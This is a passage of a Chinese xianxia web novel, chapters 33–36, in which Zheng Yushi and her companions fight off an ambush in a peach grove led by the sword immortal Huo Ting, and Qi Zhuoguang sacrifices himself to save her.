花瓣翻飞，落在指尖，轻颤，十指相扣的触觉，叫亓涿光乱了心，迷了眼。
现在的他，变了。
从前，他想要她陪着他，只想要她陪着他，他想将她炼成傀儡，日日夜夜，时时刻刻，永不分离。
可那一场试炼，殿上瞧着毫无声息的她，殿中触着冰冷僵硬的她，天知道，他忍得有多痛。
冰冷，死亡。那一瞬间，他甚至是想杀了在场的所有人，陪葬。
但幸好，她活着。
他，没有失去她。
从那时起，他看清了自己。他想要的，是她，只是她。会笑的她，会哭的她，会撒娇的她，会耍赖的她，温暖的她，活着的她。
这次他想，不是她陪着他，而是他守着她。
但就连这守着她的愿望，他也没机会了。
霍司遥是他如今的本体。数月前，为了不再受制于西疆域，为了寻找他被夺走的东西，分神巅峰，他强行渡劫失败，假借修为倒退的机会一魂二分，这才有了暗狱提前为他准备的另外一个身份，亓涿光。
一直养在咒术冢亓家的，是暗狱易容的修士。因得霍司遥的残废失明，就是连霍弘都没见过他的样子，所以，无人知晓，亓涿光其实就是霍司遥。
分魂亓涿光，降世归元山脚，他要寻的，是他被人生挖封印的眼珠。
只有取回了他的眼珠，他才能活。
万人坑外，守印子弟。他全杀了。只是没想到，入坑，挖眼珠，他却意外寻到了她。
他好想她。
他好想再多陪陪她，可是，他不能。
日升一出，霍弘灌入霍司遥体内的灵力杂糅，他，定会归魂本体。而那时，他，不再是他。
虽是同一体，但分魂之际，记忆分割，亓涿光知道，本体霍司遥，收了一部分他并未知道的回忆。他不知道这是为什么，但他会怕，不是怕记忆里的未知，而是怕回归本体后，他是否还是他，她是否还爱他的未知。
记忆是构成一个人的本源，亓涿光害怕，怕郑予时爱的，不是他。
“到了。”
桃林边界，再往外便是无垠海。
郑予时想要松开手，可不想一动，指尖抓来的力道瞬间收紧，捏得她倒抽了一口冷气。
“嘶———怎、怎么了？”
亓涿光的眸子像是含了泪，看得她心里一咯噔，惶恐难安。
“你，爱我吗。”
“……”
这个问题，郑予时答不出来。
以前，他是大佬，是美女姐姐，郑予时自然是要多舔有多舔，大胆开麦，自信示爱，但现在，瞧着他如今这副期盼的模样，她，开不了口。
她不知道。不知道什么是爱。
然而郑予时的犹豫，在亓涿光眼里已经是答案。
果然，她不爱他。她爱的，是地牢里的人，是拥有所有记忆的霍司遥，不是，一缕孱弱分魂的，他。
垂眸哽咽，他松开了她的手，攥紧了拳。
“我知道了。你走吧。”
“你……到底怎么了？”
郑予时向前一步凑了过去，离他很近。
刚刚院墙上趴着，有人巡逻会有危险，所以她催促着他走，但现在，桃林幽静，她还得等禾欢欢他们，稍有时间，所以，她得问清楚。
逼迫的动作带着几分担心的意味，亓涿光抬眸，红着眼。
“郑予时，如果说，我不是我了，你是不是就会爱我了？”
“什么叫你不是你？亓涿光，你……”
还没问完，突然，空中蓦地劈来一掌，气
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势汹汹。
霎时，灵压骤来，亓涿光蓄力一把拍向她的肩膀，两人分开，勉强避了过去。
有人追来了！
抬眼看去，桃林之中，人影攒动，顷刻，似是捅了蚂蚁窝，白衣数千，倾巢而出。
“郑予时。”
黑衣立于一片白茫之中，扎眼得很，一吼，郑予时一眼便瞧见了他。
“虞山！？”
虞山的出现，出乎意料。但如今见了他，所有一切就都说得通了。怪不得霍弘这么快就知道了此事，怪不得他将范围锁定到了参赛者头上。
只有他，才能将杀害剑羽弟子的屎盆子嫁祸在他们头上！
是他们大意了。
虞山重伤逃匿，本以为他虐杀一同伙伴是为了不让左手的秘密泄露，如此，对于知道了他左手秘密的他们，为了不被别的人发现，他只会死遁，阴着来，不会将事情捅到明面上。
可谁想，他却是想要借助西疆域的力量，杀他们。
是他们想错了，虞山背后的人，知道他的秘密。而他当初之所以会杀剑羽派的人，不是这秘密不能为人知，只是不能有更多的人知道而已。他，并不是没有退路。
错了。
“来人！抓住他们。就是他们杀了剑羽派的弟子！”
？
恶人先告状？
“好不要脸。杀了他们的，明明是你！”
郑予时不虚他，本就炼气五层的她向来装腔作势惯了，虽然打架打不过，但她，会装。
面对数千子弟，她一步步往亓涿光那边凑，演得声声泪下，控诉贼人。
“大家不要被他骗了，无垠海边，是他杀了剑羽派的弟子，抛尸碎块，我亲眼见到的，我还录了像，你们看！”
一言，郑予时从兜里掏了张符纸来，符文刻画，这是留影符，是计划逃跑前禾欢欢分给她的那一半符纸中的其中一个。
没想到，误打误撞，居然派上了用场。
“大家快看！”
符纸一捏，却是两张。
头一张留影符毫无攻击力量，一出，无人防备，然而郑予时等的就是这松懈一刻。
符纸调用需要灵力，她没有，但她有亓涿光。
她牵了他的手，一拍，他立即明白过来。
灵力一引，瞬间，留影符开，空白一片的背后，一张爆闪符横空出世。防不胜防。
“闭眼。”
“走。”
亓涿光闭目，爆闪中，他任凭她牵着，奔走。
“你敢耍我！”
一声怒吼，回头，只见那爆闪符爆开的霎那，刚刚破空而来的灵掌再度冲来，一劈，硬是从中劈开一道裂缝，挤入了虞山。
计划失败。
这掌，这么厉害的！？
“去死！”
怒吼袭来，掷出的爆闪符因那一掌歪了去处，掩不住他们的身影，这一剑，险。
糟了，避不开！
虞山已达分神境，虽有伤势，但实力境界摆在那儿，如今亓涿光内息混乱，对上，只有死。
不行！
灵力调动，就在虞山黑剑当头砍下的瞬间，郑予时连忙将人拉入自己怀中，一蹲，一缩，她小手撑出一招，招了口巨大的丑陋铁锅盖在背上。
‘叮’———
一击，分离。
咦？怎么不再攻？
探头去望，却见刚刚还气势汹汹势要斩她的虞山，这会儿退了回去，退到十米开外。
哦哟，他怕这大锅。
可不得怕？毕竟之前，可是被断了剑啃了腿的。
瞧着这么几天就恢复过来的虞山，郑予时不难猜，他是体修。
体修，身体四肢均是利器，修体，修筋骨，修自身。所以就算是被大锅吃了一肢半腿，除了折损些修为，还是很容易长回来的。
只是这长归长，被啃食的阴影肯定还是在的。
“来呀。有本事你再过来呀。哎呀，虞山，你手里的剑怎么不是之前你杀剑羽弟子的那一把啦？怎么，私藏凶器？”
他的剑，她当然知道是被大锅啃断了的。这般提，只是为了激怒他。
“找死。”
低吼一声，黑剑飞来，不出意料，大锅锅背裂开一道黑缝，张口咬死剑身，断了攻势。
然而虞山并不是蠢，这一招只是声东击西，就在大锅上前迎下那一剑的瞬间，蓦地，右侧掌风袭来。
刚刚爆闪中劈开光亮的那人，动手了。
艹！
34. 第 34 章
收身反退，几日相处，郑予时早已和那大锅混了脸熟。
“大哥！救命！”
大哥？
疑惑之余，只见一道黑影瞬时掠来，嗖一下，砸入地面，立于身前。
前一刻还和虞山黑剑咬得难舍难分的锅，这一瞬，飞身而来，护住了人。
“轰———”
掌风攻来，似是虞山提醒过，那劈掌修者并未近身，在大锅回来的瞬间停了攻势，只留一招灵掌横空劈来。
锅背受力，插入地面的锅耳猛颤，连带着地面都抖上三分。
好强的掌！
“大哥！”
一声大哥，声泪俱下。
郑予时的丹田处，属于大锅的那一团艳红毫无波动，她知道，这一掌轰天动地，然，对它，毫发无伤。
它可以！
心念一动，得瑟起来。
“大哥！揍他丫的！”
一令既出，岂有不战之理？
霎时，满目桃林，刀光剑影，铁锅自那枝桠其中翻飞滕旋，花瓣卷落，漫天桃红，折了剑，吞了袖间。
用掌者，险险避开铁锅‘大口’，擦身而过，却是被咬住了袖角，一撕，整个胳膊露了出来。
胳膊其上，烫伤一片。
那伤不是疤痕未治的痕迹，而是肌肤反复被烫皮烂肉，来不及长好却又再次滚烫其上而造成的恐怖狰狞。这是，有人恶意虐他，亦或者，是他本人，有自虐倾向。
一顿，郑予时眯起了眼睛。
文中，似乎有这么一位人，右臂烧伤，其上肌肤常年糜烂，丑陋不堪。而那人，正好，也是用掌。
霍司棋，霍弘宗主的二儿子，霍司遥同父异母的亲弟弟。
文中，霍司遥生来孱弱多病，眼疾不能视物，腿疾不良于行，但偏偏，他最得霍弘喜爱。而霍司棋作为霍弘的二儿子，天赋自然不差，只是前有偏爱对比，他心有不甘，有怨。
而不只是他，西疆域如今的宗主夫人，霍弘的夫人霍司棋的母亲，也是心怨、不忿。
自小，她便将霍司遥的所有都拿来同霍司棋相比。他结婴，她便灌药于他，半月之内一定结婴；他有傀儡印，她便逼他以血肉献祭，反复灼烧右臂皮肉，炼傀术；他双腿残疾双目无珠，她便也要打断他的、挖了他的，说让他效仿兄长，说要让父亲也瞧见他！
丧心病狂！
这四字，是霍弘送她的最后一句，也是霍弘救出霍司棋的第一句。
霍司棋从母亲的手里逃了出来，只是，右臂上的那疤，却仍是因为他继续修习傀术而日夜灼烧腐烂，日复一日，年复一年。
他似乎是逃出来了，但，又似乎是仍是深陷泥沼，窒息、无救。
大锅横在前头，以一锅之力硬是抵了傀儡弟子千招百式。
霍司棋和虞山合力攻之，一剑一掌相继而来，他们，在寻找大锅的弱点。
前方桃林数千人的灵力汇聚一同，那场面，眼花缭乱，十分打眼。不说他们绚丽的招式，也不说他们极致的术法，就是那波动的灵力都叫看得人心惊。
郑予时捏紧掌心的骨哨，看向来路。寻人。
虞山、霍司棋已经够厉害了，再这么打下去，迟早得把更厉害的招来。禾欢欢，你们到哪儿了……
“郑予时！”
禾欢欢！
桃林那头，那方混战，御剑横空冲撞，撞来一人一剑。
“接住我师兄！”
什么！？
来不及反应，禾欢欢一丢，只见当头夜空，巨大黑影压顶，竟是从那桃林那方，甩来一道极其潦草的双翼鱼影。
师兄，宜东藏？什么鬼！？
双翼、鱼尾，长须、纱鳞。
这是，鲲！
宜东藏变回兽身原形了？怎么回事？
飞身而来，郑予时来不及思考，下意识伸手就要去接，但不想身后却是蓦地伸出一只手，五指张开，一握，抓了那左翼，卸力，甩到一边地上，离她老远。
禾欢欢御剑而来，那剑通身流光溢彩，暗夜之下，乱战之中，稳稳冲来，不似凡物。
那是，他们赢来的那把仙剑。
“郑予时，接我一下！”
剑飞得稳，但剑上那人却并不稳当，摇摇晃晃，冲过战场后竟是直朝地面栽来。
这要真摔下去，不得疼死？
郑予时反手拍了拍身后亓涿光的手臂，示意他别像刚刚接宜东藏那样后，上前接人。
一抓，一撑，平安落地。
只是落地之后，禾欢欢的样子却急得很，大口喘气，一句，点题。
“郑予时，你带师兄赶快跑！我们被暗算了！”
“孽畜。哪里跑。”
黑夜一剑，破顶刺来。
滔天的剑意势如破竹，虽未带灵力，但光是那通体剑气便凛然脱俗，势不可挡。
长剑穿透桃林混战，气势一震，横扫千军。
虞山撤离，霍司棋驻足，大锅归位。
随着天那边低沉一声，剑收，白衣落下，一位在场者都分外熟悉的人徐徐而来。
霍廷，剑羽派掌门，招亲试炼时坐镇上方的风戎尊者。
他，怎么来了？
不待多想，见人来，禾欢欢立马拔剑，护在郑予时他们身前。
此举，更是有异。霍廷，不是她最崇拜的风戎剑仙吗？怎会……
视线顺着身侧沉重的呼吸声看了过去，那里，鲲兽浑身泛红，似是烙印禁制，折磨着他，而无垠海风一吹，郑予时脑子一凉，顿然惊醒：难道，禾欢欢说的暗算，是霍廷？
霍廷！？
那可是修界人人都要称一声剑仙的人，三年前，他一剑劈开昆仑秘境，剑意大成，已然步入大乘境，如今三年过去，剑意更浓，实力只增不减。
大乘，那可是大乘境！是如今修界第一个大乘仙尊！人家随便捏个小指就能碾死他们，就这，跑得了个鬼！
郑予时心里盘算着，要不以理服人？
文中霍家，大哥霍弘掌管疆域、二哥霍承启烂人酒鬼、三弟霍廷苦闷剑修，其中，就属老三最是正直，一心不闻窗外事，两耳只求剑道门。
如果说屠杀弟子、屠杀孚钰兽的真相霍家在乎？除了他，郑予时找不到第二个人选。
只是理要讲，后手却也是要留的。
“风戎前辈！还请手下留情，我们，并非杀人凶手。”
郑予时一言，一拍身侧禾欢欢，退至身后。
四目相望，她红唇微抿，禾欢欢立即懂得，上前抱手接过了话。
禾欢欢虽因宜东藏被暗算现了原型而感到恼怒，但她却也是想得明白如今局势的。
“风戎前辈，听人说风戎前辈剑心不染污秽，还望前辈替我们主持公道！无垠海杀人案，是他，残杀了剑羽派的弟子！”
禾欢欢指认，郑予时退身。
掌心骨哨遮在唇边，一吹，捏着骨哨的指尖轻颤酥麻，但周遭，无声无音，却像是什么都没发生一般。
虽无响，但郑予时知道，这是对了。
禾欢欢仍不依不饶地说着，似是对小辈留有尊重，霍廷也不动，任她东拉西扯地胡说。然话总有说完的时候，禾欢欢呼吸一顿，下一句还没想好，霍廷，开了口。
“宗主令，无垠海凶手郑予时、禾欢欢、宜东藏，杀无赦。”
“我都说了岸边海底就有你剑羽派弟子的尸首，虞山剑气奇诡，捞上来一看便知到底是谁杀的人！风戎前辈，你为什么……”
“宗主令。杀，无赦。”
聋子！疯子！
大乘一击，谁挡得了？
见霍廷欲要出手，虞山拉住了想要上前的霍司棋，喊住了身后一众前来围剿
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‘贼人’的弟子。
“尊者，我爹可是禾丹宗禾觅清！”
“入夜前，我便已书信家父讲清了此事的来龙去脉，若今日我和我的朋友就这么不明不白地死在你西疆，我爹定会召集丹宗子弟，扒你西疆一层皮！”
“杀人者你不罪罚，反倒倒打他人一耙。你西疆如此蛮横无理、颠倒黑白，竟是要空口无凭扣一顶杀人的罪证在我们头上。如此，今日你们想杀便杀了我们，那明日是不是天下人你们也想杀便杀！”
“你们，专制，暴肆，以权为所欲为，就不怕强压之下，害命之下，天下世人的奋起讨伐吗！？”
禾欢欢的话，霍廷半句未听。
剑起，当头，劈下。
霎时，禾欢欢手上仙剑横空击去，一对，空震树乱，以两剑对攻为起，方圆四里，桃花花瓣卷杀殆尽。
好强！但，大乘绝非如此，霍廷他，最多只用了两成。
“噗———”
对攻，仙剑虽去，然霍廷剑仙的剑又岂是泛泛，一招，就是仙品之气护体，剑，也奈何不得。
仙剑被剑气弹回，插入地面，通身庇护之气，破了。而它的所属者，禾欢欢，心脉，断了。
“禾欢欢！”
姑娘一身衣服浸透了血，她站在前头，摇摇欲坠，然，拔剑，立住，半步未退。
宜东藏胸前挂着的是他的储物袋，里面的丹药郑予时掏了好些，她抖着手，一股脑全塞进了禾欢欢嘴里，这才勉强稳住了她的伤势。
“别战了，咱们，打不赢他。”
抬眸，禾欢欢回了头，红唇红齿，一开一合，无声，但偏偏她看懂了。
禾欢欢她，在说：你们，走。
走？他们怎么走！？丢下她不管吗，她会死的，她做不到！
不只心脉，细查，禾欢欢一身经脉全都断了。如今全凭刚刚她那一把丹药的药力撑着，强弩之末。禾欢欢近乎没命，亓涿光伤势未好，宜东藏兽形被困，如今，他们几个，只有她，能动。
大乘，实力强到恐怖，但这并不代表，他就能如此，像碾死蚂蚁一样，碾死他们。
禾欢欢浴血拼死的战意点燃了她。
打不赢，那又如何！
“来啊，打啊！”
“大乘期高高在上的尊者，竟带着数千弟子围殴绞杀炼气期的后辈，我看这事儿传出去了，你还有没有脸出门见人！”
手中两符一捏，是先前她打算用作趁乱逃跑的留影符和爆闪符。而刚刚，大锅桃林混战，她留了心眼让它叼了回来。
爆闪符用过了，但留影符他人只觉是她要证明几日前无垠海凶杀一幕，却不想，这符是为今日准备的。
它，自爆闪炸过后，便一直录着。
符纸在手，合着先前禾欢欢小师妹送蒂连枝来的传送阵盘，这留影，这西疆桃林的围杀，定会传递出去。如此，霍廷、西疆域的丑事，就是他们死了，也是绝对会被天下尽知！
霍廷修剑，这些，从来不在他的考虑范围，所谓的正直、不染，全都是狗屁，只用一句‘宗主令’，化为粪土。
“宗主令，杀。”
剑来，郑予时开盘送符，其后，五指微开，药，控住了身后的禾欢欢他们。他们，伤得比她重。要拼，也得她去。
不拼，何来活；不争，死命定！
死，又如何。
大乘对炼气，就是死，好歹，她也算是历史上惩奸除恶的大义英烈了！值！
“郑予时！”
担心呼喊中，迎头而上，郑予时手招大锅一抡向前。破口大骂。
“霍廷你个瘪三！”
“剑仙剑仙，一门剑心无染你都修给狗去了吗！都大乘期的人了，还唯你哥马首是瞻，榆木脑袋，你是哥宝男吗？脑花只有鼻孔那么大点吗！？傻*！”
“来啊，杀我！”
35. 第 35 章
铁锅一抡向前，合着炼气五层的蝼蚁灵气，像个笑话。
霍廷出手，相迎。一剑，地动山摇，劈裂桃林地表，泥沙下陷，如临深渊。
大乘灵力毫不留情，虽只使了四成，但大乘期的压迫感瘆人无比，两人相撞，一剑一锅，但奇怪的是，对招，双方相峙灵力竟是诡异地炸了开，霎时，滔天灵波覆盖而来，一卷，掀翻了场内所有，乱花桃枝漫天震裂。
“噗———”
一击，震飞摔落。
爆破冲击，大锅被那剑砍得倒扣在身侧，郑予时趴在地上，狼狈难堪，呕出的血染了她胸前衣襟，眼鼻口耳，七窍流血。
丹田那团大锅留下的艳红暗了些，虽是挡住了这一击，但锅底一剑的余震还是反噬到了她。
她能感受到它的难捱强忍，她也同样能感受到它的战意不甘。
伸手够去，握紧，撑住起身。
“来。咳。再来。”
横锅而起，分明发颤到难以动作，但她却依旧伸手，指向了那飘然立于乱场的仙人。
“来啊！”
咯血逼灵，心肺气血翻腾。
郑予时驭锅如剑，直指霍廷。
霍廷立于斩秃了的桃林一方，握剑，欲拔。
“噌———”
剑鞘出，剑光闪，又一次撞上那暗红诡异的大锅。灵压对峙，灵噬，周遭灵力因着这冲撞，疯狂吞噬聚集，挤压，浓缩，突然！只听‘轰’的一声，蓦然炸开。
“噗———”
灵炸波及，弹开落地处依旧是那一片狼藉之地。锅在手边，郑予时又一次被打得趴在地上，脸上揉了土里烂泥。
大锅通身嗡鸣，颤出的余震是霍廷那一剑震来的心惊。
一人一锅，撑地倔强，颤巍再起。
郑予时已经站不住了，要不是大锅在身后撑着她，不出三秒，她必倒。不过纵是如此，她也仍是苦撑着，再指那人。
“霍廷，大乘期的你，就这么点儿实力吗！？”
“来啊！杀我！你不是说，宗主令，杀无赦吗！来啊，杀我！杀我！”
“郑予时！你疯啦！”
被下了药，禾欢欢几人动不得半分。眼见郑予时一次又一次不要命的赴死相护，禾欢欢哭得眼泪鼻涕留了满脸，痛到狼狈无比。
逃啊！逃！
剑意凝聚，大锅飞掷。
因着一人一锅的本命牵引，灵动吸附，无力再动的郑予时被吸入了那飞去‘送死’的大锅内，坐进锅里。
入锅，郑予时掏出一把匕首，撑着最后一口气，刀刃对准丹田，刺入，拔出。
“噗。”
短短一息，鲜血喷溅，洒了满锅内壁，染红了那锅里密密麻麻的繁复纹路，淌入，灌满。
眼前霍廷剑势已起，虽还未拔剑，但郑予时知道，前两次的试探彻底耗尽了他的耐心。
这一剑，必死。
然，死的是谁，却说不定。
两次，看似不要命、失了智的拼死，郑予时不是发了疯，而是，在摸霍廷的底细。
霍廷，大乘初期，一手剑意早达超凡，劈天开地，恐怖如斯，但是就算是这样的他，也还是有一个最为致命的破绽。
至少，对郑予时来说，是个有利的破绽———他，或是自诩孤傲，或是不屑缠斗，每次出手，一剑出鞘，斩后，剑必回鞘。自信、自负。
而剑与剑鞘，从来都是相生相克的关系。
对别人修者来说，霍廷如此，倒是无碍，但郑予时可是用毒的。世间万物有灵，大乘期的剑仙灵势护体，目前，她毒不死他，但是，一把随剑仙修行的剑，可就没那护体灵势了。
第一次试探，第二次洒药，而霍廷剑身中了她的药，带入剑鞘，这第三次，要拔，绝无可能。
她对她的药，有信心。
对战瞬息万变，郑予时不要命的猛攻再次袭来，大乘灵压压顶，这一次，甚至是连分神期的虞山都有些扛不住，内息翻涌。外围战外的众人受了波及苦撑，如此灵压，所有人心里都清楚，这一击，是最后了。
一锅一剑，然而就在大锅砸顶的瞬息之间，本应拔剑的霍廷却莫名眉头一皱，闪影，后撤半步。
半步！
要知道，就是渡劫期的霍弘霍宗主，与之切磋，霍廷都未曾后退半步！
虞山眼底的杀意更浓：郑予时，到底是个什么怪物。
“你，做了什么。”
“咳、咳。”胸腔瘀血呕出，郑予时咧嘴一笑，红牙龇开。“哟，除了宗主令，你，居然还会，说别的话啊。”
吊儿郎当的态度，冥顽不灵的小儿。
霍廷，认真了。
剑修，用剑，然而大乘剑仙，却已是步入了另一种境界。
无剑，亦如何，我心在之，便是剑之所处。
配剑一收，半步之外，霍廷以手为剑，凝灵力，聚剑意，横指而来。
来了！
郑予时撑在锅内，眼底的笑意更疯了。
来得，好啊。
刚刚匕首一捅，锅内，早已淌满了她的血。而这血腥暗红其下，锅底纹路‘点燃’，阵势已成。
禾欢欢他们或许忘了，但她，没忘。这锅里烙了的东西，可是上古留下来的古阵。
生人活祭，祭阵开启。虽只她一条命，还不足以炸掉整个西疆域，但有混元灵根加持，炸霍廷个措手不及，却是可以的。
祭阵和大锅是为一体，但就是这样，郑予时估计此番过后，她出的气也得比进的气多。
但，那又如何。
桃林边界，无垠海边，骨哨吹响已然多时，然宜东藏说的那后援退路却还是不见踪迹，她，不能退，也退不了。
如今剩的，只此一路。
眉心剑指刺来，郑予时面不改色，死盯而去：就是死，也得死得其所！
还剩三寸。
“阵。”
还剩一寸。
“开。”
言落，林中突然升起一团昼日白光，刺眼灼目，叫所有人看不清那正中到底发生了什么。
蓦地，只觉轰然一声炸裂的声音自内传来，白光向内吞噬，吸附，凝练压榨到极致之后，爆破而开。
“轰———”
地动山摇，地裂天开。
天边黑夜，竟是被这奇诡的爆炸劈开了一方，撕开一条旭阳白昼，挂在空中；而下头，桃林地表那本因霍廷前一剑而裂开的地缝，碎断坍塌，其下，红浆滚滚，带着滚烫的热度，似是炼狱魔渊，灼体骇人。
这！这！
此景，瞬息消散，然虞山、霍司棋等瞧见了整个的旁外人，却是惊愕难缓，迟迟回不过神来。
爆破冲击，霍廷白衣浮尘，退了三步，而郑予时，断了经，碎了骨，合着摔在地上裂成了三五烂片的死气大锅，被余波冲回到了禾欢欢他们身前。
血，已经流得不能再留了。
血人一般的姑娘，小小一个，一头卷发乱糟糟地盖在身上，遮去了她皮开肉绽的身体，掩去了她身下揉尽淤泥的血色。
禾欢欢哭得上气不接下气，哽咽着，咬破了下唇。
她想喊她，但她，害怕，怕，得不到回答。
郑予时……
侧趴着，脖颈骨头挪不了半分，而这边，这朝着无垠海方向的这一边，是郑予时自己选的。
眸中生息淡淡散了，那幽蓝的海啊，合着血，看起来更美了些。但最美的，最叫人欢喜的，不是海色烂漫，而是那卷卷白浪里，奔来的急促身影。
死攥泥地的手指扣得血色模糊，然这一刻，郑予时却是松了手。眼睑微合，不合时宜的，竟是笑了。
她，守住了，拖到了。
宜东藏喊的救兵，终于，来了……
黑暗中，她感受到了一双有力的胳膊拥紧了她。
脖颈摩挲，耳边温热。
似乎，有人在说。
“郑予时。你还是，这么傻。总拿自己的命，去救别人的命。”
“郑予时。你能不能聪明一点，自私一点，活得，久一点，再久一点。”
“郑予时。没了我，你会不会伤心。我不想放开你，以后，你还会记得我吗。”
“郑予时。我……”
声声呼唤，一句比一句低沉破碎，叫人听得心里发闷。
渐渐地，郑予时听不清了，然而就在这时，蓦地，一股难以言说的热流涌入身体，经脉刺痒，如那千万针扎，难受，却又带着几分滋补的味道，修补着她的身体。
黑暗中，她睁不开眼睛，但她清楚，有人，在献祭自己心脉的灵力，救她。
亓涿光……
挣扎睁眼，入目，垂首紧抱着她的人，是她。
亓涿光的脸色白到不正常，他抱着她，一身灵力不要命似的挤压着他心脉的纯灵之力，输入她的身体。他在抖，像是珍重，像是不舍，像是再撑不住。
“亓，
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涿光。不，要。”
郑予时很痛，痛到几乎难以开口，然而她知道，输送灵力的亓涿光他，更痛。
泪划过眼角，滴在身下人的指尖之上。郑予时望着他，眼泪断了线，她求着他：不要，不要……
“郑予时，不疼了，有我在，不会疼的。”
亓涿光的气息乱得要命，他垂下头来，以指覆上唇瓣，轻轻一抹，割开。
毫无血色的唇瓣，沾了血，艳丽几分，但此时此刻，饶是向来沉迷他色相的郑予时也再没心情分心，她眼睁睁看着他，轻笑，垂手，吻上了她的额角。
血色染了额间，轻声一叹。
“咒契。解。”
面颊扫过他的落发，唇间接了一滴咸涩泪花。郑予时一双眼睛红得很，这不要命的献祭救治，她，大致猜到了他的想法。
先前谈聊，他同她说的走不了，不是被迫，而是主动。
他，存了死志。
今夜再见，郑予时一眼便瞧出了他的不对，之后种种言语，混乱、古怪，但她竟是大条地以为，以后再说也没关系，可是，她却未曾想过，以后，这个词是如此的沉重。
心如刀绞，悲痛欲绝：从什么时候开始的？为什么想死？亓涿光，为什么！？
“郑予时。”
“你会，记得我吗。”
肩后力度紧了又松，亓涿光抱起她，侧头，向着无垠海边招了手。
那方，幽蓝一处，白浪落下，竟是翻来一具硕大的古兽白骨，浮空岸上。那是，宜东藏骨哨招来的东西。
刚刚最后一击，借着祭阵之力，虽是比以卵击石强了些，但郑予时心里门清儿，敌不过霍廷，所以，趁着祭阵扰乱他的心神内息，她，按照计划，下了毒。
毒中，灵力时有停滞，虽无大碍但却查无踪迹。
而最要命的是，越靠近咸腥海水，毒，发得更频繁。
入海，逃跑。这是他们早就计划好的，与霍廷一战，郑予时早早便铺了棋局。她在赌，赌宜东藏救兵到来之时，察觉有异的霍廷，不敢贸然运用他那时停的异常灵力，下海，追击。
他们，走得了！
唯一恢复力量的，是右手五指。
亓涿光抱着她，交到禾欢欢手里，然，五指攥紧，却是抓了他。
“尊者！他们要逃！”
一声惊呼，郑予时只见到亓涿光朝她笑了笑，下一瞬，指尖攥了的白衣割开，人，向着那撕空袭来的残影冲去。
不要！回来！
赴死拼杀，就在禾欢欢带着她踏上古兽白骨‘肚内’的瞬间，霍廷五指成剑，一捅，捅穿了亓涿光的腹部。
指拔，抛起，再刺，头骨穿透。
“亓……涿、光！噗……”
一字一顿，呕血无声。
桃林之中，红白相间的残破人影如那淡粉花瓣，飘然坠落，霍廷追来，剑意嗜杀，然而郑予时却是死死盯住了那林中人，盯住了坠身树下的亓涿光。
遥遥两地，亓涿光望了过来。
他朝着她伸了手，唇齿血色涌出，堵了喉咙，但他仍说着。
他说，郑予时，不要忘了我。
他说，郑予时，不要，信我。
不要，不要，不要……
大乘一击，本就赴死而去的亓涿光元神已尽，他的身体渐渐虚幻，从腿部开始，幻化成星零寒光，消散而去。
此消彼长，亓涿光散了魂，而注入了他整个心脉灵力的郑予时却是身上伤势大好。
身体能动，郑予时立即拉开禾欢欢护着她的手，不回头，向着岸上冲刺而去。
“亓涿光！”
似是没想过她还会回来，霍廷闪身岸边追人，郑予时奔赴桃林守人，两人，竟是生生错了开。
奔去，跪落在地，她将他抱入了怀里。
泪水滴在他满是血色的脸上，她的手抖得吓人，因为她感受到了他，感受到了手下的身体，越来越轻。
“不要，不要。亓涿光，你别死，求你，我求求你。别死……”
身下人，含笑，无声。
他伸了手，似是想要安慰她。
指尖向上，最终，在将要抚上她的前一秒，彻底消散。什么，都没留下。
“不要，不要……”
空中消散的地方，郑予时十指交捧，小心却又心急忙慌地胡乱抓着。然而，什么也抓不了。
“回来，亓涿光，亓涿光，你回来，回来！”
36. 第 36 章
桃林那处，独留一人跪坐在地，垂了头，松了手。
霍廷错身到了岸边，而本是林中旁侧观战的虞山却是冲了上来，一剑，竟不要脸地朝着郑予时空漏的背部刺去。
“郑予时！小心！”
禾欢欢惊声一吼，随着她的声音，郑予时呆滞之余，抬了手。
反身，一握，抓住了虞山那刺来的黑剑。
“你！”
剑身被握得极其轻松，其上，传来的颤栗虞山感受得清楚，霎时，他双目瞪圆，惊恐之间竟是失了神。
怎、怎么可能！
她的本命法器、那口大锅不是毁了吗？她不是重伤将死吗？她不是个才炼气五层的废物吗？怎么可能，接下他一剑！？
不，不可能……
恍惚之余，一息不到，郑予时徒手一捏，只听‘咔嚓’一声脆响，剑，断了。
“叮叮当……”
碎掉的薄片落在地上，你砸了我，我碰了你，发出稀稀落落的声音。
灵力调在掌心，郑予时五指合拢，像是个僵硬的提线木偶，一下，刺穿虞山腹部。
刺入，拔出，血喷满脸，一掌再刺额中，打飞了人。
两下，和霍廷杀亓涿光的手段，如出一辙。只是前者大乘实力，而她，只堪堪元婴。
是的，她到元婴境了。
亓涿光在用心脉灵力救她的时候，就没想过他自己活，他一身修为，全渡给了她。
现在的她，境界依旧比不过虞山，但混元灵根，越阶，从来不是难事。而虞山，此前无垠海上一战伤势并未好全，先前混战又是伤了不少，如此，她杀他，并不算费力。
两刺，扔了人，掷了虞山没剩下几口气的‘尸体’，郑予时像是失了魂的破烂娃娃，她仍立在原处，垂着头。
地上，那是刚刚亓涿光最后离开的地方。
那里什么都没有，但她，却仍是看着，不松。
禾欢欢他们已经踏上白骨浮在海上，霍廷本想将其打下，然，越靠近海岸空气中咸腥的味道越重，他调灵欲攻，可就在这时，体内灵力却是猛地一滞、再滞，僵了住。
他，中毒了。
他，不能靠近海！
后撤三步，再调，抽搐停滞的灵力恢复如常。
霍廷眯起眼睛，他盯住了那浮于海上白骨中的禾欢欢，下一瞬，回头入林。
杀戮之气萦绕在霍廷全身，禾欢欢本就因他刚刚那一眼浑身冷汗直流，见他突然回头，心下一松的同时，寒意再起。
不好！他这是要回去杀郑予时！
“郑予时！郑予时你快躲开！”
禾欢欢的声音，很大，大到郑予时终于舍得抬头，看了她。
只是这一眼，隔着桃林隔着海岸，毫无生气，死气沉沉。
她看到了岸边闪身归来的霍廷，她也感受到了逐渐向她逼近的那滔天瘆人的大乘灵压，但她，不想躲，也不想退。
立于地上，郑予时就那么看着他，看着他。
丹田内收回的大锅，是碎片的模样，和她腹中碎裂的灵根一样，由千丝万缕的暗红之气牵连拉扯着，算不得毁了，也算不得完好。
一人一锅本是一条船上的蚂蚱，郑予时心中所想，大锅它，自然知道。
四分五裂的锅片轻颤着，似是无奈，似是无语，然而在郑予时召它的时候，瞬间，不费吹灰之力，它却是自动、直直地挡到了她的身前。
“谢了。”
出世，红灵之气仍缠在铁锅周身，粘着碎片，拼成了它。郑予时一句，锅身颤动，似是回应，震了震。
她手捏锅耳，抬眸向前，蓄势待发。
来。战！
“郑予时，你别发疯了！快躲开！回来！”
海上呼声再起，见人不动，禾欢欢一着急完全来不及管其他二三，她朝着古兽白骨边沿奔去，搭手而上，竟是想要翻出去，冲下岸。
